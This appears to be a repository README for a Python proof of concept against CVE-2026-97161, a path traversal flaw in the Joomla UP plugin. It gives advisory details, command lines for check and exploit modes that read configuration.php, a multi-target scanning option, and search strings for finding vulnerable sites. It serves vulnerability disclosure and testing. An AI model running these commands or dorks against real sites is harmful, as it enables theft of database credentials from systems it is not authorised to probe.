murrez/cve-2026-97161Python PoC for CVE-2026-97161: fingerprints the Joomla UP plugin and probes unauthenticated path traversal via com_ajax ajax-view to read configuration.php.
Python 3 PoC for CVE-2026-97161 — UP (Universal Plugin) for Joomla (lomart.fr).
CVE-2026-97161 — UP 5.0.0–5.2.0 and 6.0.0–6.0.29 expose unauthenticated path traversal / arbitrary file read (CWE-22, CWE-284) through AJAX file-access handlers (notably ajax-view popup loader). Attackers could read configuration.php and other server-readable files. CVSS 4.0 9.2 Critical (PR:N). Fix: UP 6.1.0 / 5.2.1.
Same release also fixed arbitrary file creation outside intended directories (same CVE family).
PoC page: https://pocbit.org/pocs/cve-2026-97161
Catalog: https://pocbit.org/pocs/
| Product | UP plugin (plg_content_up) |
| Affected | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Fixed | 5.2.1, 6.1.0 |
| Vector | com_ajax + UP plugin — user-controlled file path to ajax-view backend |
| Impact | Confidentiality (DB creds via configuration.php) |
Vendor did not publish exact query strings; this PoC fingerprints UP, probes common com_ajax parameter shapes, or uses --ajax-url from your lab capture.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --read-probe
python poc.py -u https://joomla.example --mode exploit --read-probe
python poc.py -u https://joomla.example --mode exploit --ajax-url "https://joomla.example/index.php?option=com_ajax&plugin=up&..."
python poc.py --list targets.example.txt --mode check --read-probe -j 8
body="plugins/content/up"
body="com_ajax" "up.lomart"
CVE-2026-97161 PoC: Joomla UP (lomart.fr) unauth path traversal / file read via ajax-view (≤6.0.29). Detects plugin, probes configuration.php. PoCbit
CVE-2026-97161: UP eklentisinde oturumsuz dosya okuma (path traversal); 6.1.0 / 5.2.1 ile giderildi.
Authorized testing only. --read-probe attempts to read sensitive files on the target.